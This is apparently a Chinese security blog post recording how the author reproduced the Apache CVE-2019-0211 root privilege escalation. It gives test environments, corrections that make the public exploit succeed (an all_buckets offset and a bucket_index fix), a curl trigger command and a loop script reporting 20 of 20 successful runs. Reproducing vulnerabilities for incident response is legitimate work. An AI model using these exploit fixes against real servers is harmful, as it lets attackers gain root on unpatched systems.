标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2358] 作者: ecawen 发表于: [2019-04-13]
本文共 [353] 位读者顶过
本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。 [出自:jiwo.org] 本篇文章没有叫:《Apache 提权漏洞分析》是因为我觉得CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation这篇文章的分析写的挺好的,所以我没必要再翻译一遍了,本篇文章主要叙述复现该漏洞的过程中踩过的坑。 复现环境我使用的复现环境是: # 系统, 跟系统关系不是很大,主要问题是能不能用包管理器安装对应版本的apache $ lsb_release -a Distributor ID: Ubuntu Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic # Apache版本,复现的关键就在该版本 $ apache2 -v Server version: Apache/2.4.29 (Ubuntu) Server built: 2018-03-02T02:19:31 # php版本 $ php -v PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
关于需要开始ssl模块说明:
/* On some architectures it's safe to do unserialized accept()s in the single * Listen case. But it's never safe to do it in the case where there's * multiple Listen statements. Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT * when it's safe in the single Listen case. */ #ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT #define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS) #else #define SAFE_ACCEPT(stmt) (stmt) #endif 简单的来说,只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。 跑exp中遇到的一些坑我试过了很多版本,没有一个版本是能直接使用Github上的exp的,在上述表面的版本中,经过调试研究发现了两个问题导致了利用失败:
第一个计算all_buckets的地址,使用gdb进行调试,你会发现,这个值并没有算错,但是在执行apache2ctl graceful命令以后,all_buckets 生成了一个新的值,不过只和之前的all_buckets地址差0x38000,所以这个问题很好解决: $all_buckets = $i - 0x10 + 0x38000;
第二个计算没必要这么复杂,而且在我测试的版本中还是算的错误的地址,直接改成: $bucket_index = $bucket_index_middle;
ubuntu中的一个坑我的payload是:curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232" 表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下$find /tmp -name "2323232"就找到文件了,不过只有root用户能访问。如果不想让systemd重定向tmp目录也简单: $ cat /lib/systemd/system/apache2.service [Unit] Description=The Apache HTTP Server After=network.target remote-fs.target nss-lookup.target [Service] Type=forking Environment=APACHE_STARTED_BY_SYSTEMD=true ExecStart=/usr/sbin/apachectl start ExecStop=/usr/sbin/apachectl stop ExecReload=/usr/sbin/apachectl graceful PrivateTmp=false Restart=on-abort [Install] WantedBy=multi-user.target 这项为false就好了,PrivateTmp=false,改完以后重启一下,再测试一遍就能在tmp目录下写文件了 关于成功率的说法在exp的注释中看到了说该利用没法100%成功,有失败的概率,所以我写了个脚本进行测试: root@vultr:~# cat check #!/bin/bash SUCC=0 COUNT=0 for i in $(seq 1 20) do let COUNT+=1 /etc/init.d/apache2 stop sleep 1 /etc/init.d/apache2 start if [ -f "/tmp/1982347" ];then rm /tmp/1982347 fi curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347" apache2ctl graceful sleep 1 if [ -f "/tmp/1982347" ];then let SUCC+=1 fi done echo "COUNT: $COUNT" echo "SUCCESS: $SUCC" 我测试的跑了20次的结果: # ./check ...... COUNT: 20 SUCCESS: 20 并没有遇到失败的情况 总结其他版本的还没有进行测试,但是在这里给一些建议。
更新debian 9测试成功: # cat /etc/issue Debian GNU/Linux 9 \n \l # apache2 -v Server version: Apache/2.4.25 (Debian) Server built: 2018-11-03T18:46:19 # php -v PHP 7.0.33-0+deb9u3 (cli) (built: Mar 8 2019 10:01:24) ( NTS ) Copyright (c) 1997-2017 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies with Zend OPcache v7.0.33-0+deb9u3, Copyright (c) 1999-2017, by Zend Technologies 参考
|